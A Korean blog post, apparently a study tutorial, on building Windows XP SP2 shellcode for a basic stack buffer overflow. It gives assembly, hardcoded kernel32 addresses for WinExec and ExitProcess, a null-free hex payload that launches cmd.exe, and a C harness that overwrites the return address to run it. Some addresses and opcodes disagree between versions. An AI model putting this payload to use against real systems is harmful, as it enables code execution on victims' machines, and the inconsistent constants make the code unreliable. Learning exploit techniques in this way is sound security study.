리눅스 bof를 하다가 처음으로 windows bof를 해보게 되었습니다. 둘다 sfp나 ret을 조작해서 공격자가 원하는 shellcode를 실행시키는 원리는 같습니다. 그런데 리눅스에서는 SUID로 인해 계정 권한 상승을 하는데 windows에서는 무엇을 할까요?
일반적으로 exploit하는 쉘 코드는 다음과 같습니다.
- Backdoor port open shellcode
- Reverse Telnet shellcode
- Download & Exec shellcode
여기서는 가장 기본적으로 cmd.exe를 실행하는 쉘 코드를 만들고 bof를 시도해 보겠습니다.
실습 환경은 아래와 같습니다.
- Windows XP(Service Pack 2)
- Visual 6.0
먼저 cmd를 띄우는 쉘 코드를 만들어보겠습니다.
다음과 같이 프로그램을 만들면 cmd.exe가 실행됩니다.
여기서 디버깅에 들어간 후 go to disassembly를 하면 아래처럼 어셈코드를 볼 수 있습니다.
가져온 코드를 정리해보면
push ebp
mov ebp,esp
push ebx
mov byte ptr [ebp-4],63h //'c'
mov byte ptr [ebp-3],6Dh //'m'
mov byte ptr [ebp-2],64h //'d'
mov byte ptr [ebp-1],0 //'0'
push 1
lea eax,[ebp-4]
push eax
call dword ptr [__imp__WinExec@8 (0042413c)]
push 1
call exit (004010c0)
가됩니다.
여기서 수정할 부분은
(1) 0때문에 나중에 문자열을 넣을 때 끊어질 수 있는 것과
(2) WinExec()와 ExitProcess()하는 부분을 함수 주소로 call하도록 수정해야 하는 것입니다.
(1) mov byte ptr [ebp-1],0 부분을 없애버리고 xor ebx, ebx로 아예 시작부터 0으로 초기화 해놓으면 간단히 우회할 수 있습니다.
(2) Dependency Walker라는 프로그램을 사용해서 WinExec()와 ExitProcess()의 주소를 구해줍니다.
Dependency Walker download : http://www.dependencywalker.com/
1. Dependency Walker로 만들어진 실행 파일을 열어 줍니다.
2. KERNLE32.DLL의 base address와 각 함수들의 entry point를 구해줍니다.
WinExec Entry Point : 0x6158d
ExitProcess Entry Point : 0x1cdea
KERNLE32.DLL의 base address : 0x7c800000
3. 그럼 각 함수들의 address를 구해보면
WinExec() : 0x7c86158d (0x7c800000 + 0x6158d)
ExitProcess : 0x7c81cdea (0x7c800000 + 0x1cdea) 가 됩니다.
이제 위의 어셈 코드를 완성시키면
push ebp
mov ebp,esp
xor ebx, ebx
push ebx
mov byte ptr [ebp-4],63h //'c'
mov byte ptr [ebp-3],6Dh //'m'
mov byte ptr [ebp-2],64h //'d'
push 1
lea eax,[ebp-4]
push eax
mov eax, 0x7c86158d //call dword ptr [__imp__WinExec@8 (0042413c)]
call eax
push 1
mov eax, 0x7c81cea // call exit (004010c0)
call eax
이제 작성한 어셈코드를 실행해보면 cmd가 뜹니다.
"\x55"
"\x8B\xEC"
"\x33\xDB "
"\x53"
"\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6D"
"\xC6\x45\xFE\x64"
"\x6A\x05"
"\x8D\x45\xFC"
"\x50"
"\xB8\x8D\x15\x86\x7C"
"\xFF\xD0"
"\x6A\x0A"
"\xB8\xEA\xCD\x81\x7C"
"\xFF\xD0"
위와 같이 쉘 코드가 나옵니다.
그런데 windows 한글 버전에서 커널에서 widecharacter함수를 쓰는데 아규먼트로 유니코드만 받기때문에 입력값에 유니코드가 아닌 다른 값이 들어가면 3F로 처리해서 shellcode가 변조된다고 합니다.
http://uptx.egloos.com/372313
위의 블로그를 참고해서 다시 제대로된! shellcode를 만들어 보겠습니다. 블로그를 보면 아래와 같이 어셈코드를 작성했습니다. 리눅스의 RTL과 같은 원리로 만드는 것 같아 보이네요.
1: "\x68\x63\x6d\x64\x01" // PUSH 01646D63
2: "\x80\x44\x24\x03\x1f" // ADD BYTE PTR SS:[ESP+3],1F
3: "\x54" // PUSH ESP
4: "\x68\xda\xcd\x71\x7c" // PUSH 7C71CDDA
5: "\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP+2],10
6: "\x68\x6d\x13\x76\x7c" // PUSH 7C76136D
7: "\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP+2],10
8: "\xc3\x90"; // RETN
위의 내용을 참고해서 어셈코드를 작성해 보면
void main()
{
__asm
{
push 0x01646d63
add byte ptr ss:[esp+3], 0x1f
push esp
push 0x7c71cdea
add byte ptr ss:[esp+2], 0x10
push 0x7c76158d
add byte ptr ss:[esp+2], 0x10
retn
}
}
실행해보니 cmd.exe가 정상적으로 잘 뜹니다.
이제 기계어 코드로 쉘 코드로 완성시키고 실행해보면 !!
char shellcode[] ="\x68\x63\x6d\x64\x01"
"\x36\x80\x44\x24\x03\x1f"
"\x54"
"\x68\xea\xcd\x71\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x68\x7d\x15\x76\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x36\x80\x04\x24\x10"
"\xc3";
void main()
{
int *ret;
ret = (int*)&ret+2;
*ret = (int)shellcode;
}
드디어 bof에 사용할 쉘 코드를 완성했습니다..
"\x68\x63\x6d\x64\x01"
"\x36\x80\x44\x24\x03\x1f"
"\x54"
"\x68\xea\xcd\x71\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x68\x7d\x15\x76\x7c"
"\x36\x80\x44\x24\x02\x10"
"\x36\x80\x04\x24\x10"
"\xc3"
'System > Windows' 카테고리의 다른 글
pydbg로 Fuzzer 만들기 (0) | 2014.04.27 |
---|---|
Windows에서의 스택 할당 (0) | 2013.12.28 |
FileFuzz, Peach Fuzzer 링크 (0) | 2013.11.12 |
메모리 보호 기법 DEP/NX (1) | 2012.09.05 |
windows bof [basic stack overflow] (2) | 2012.04.08 |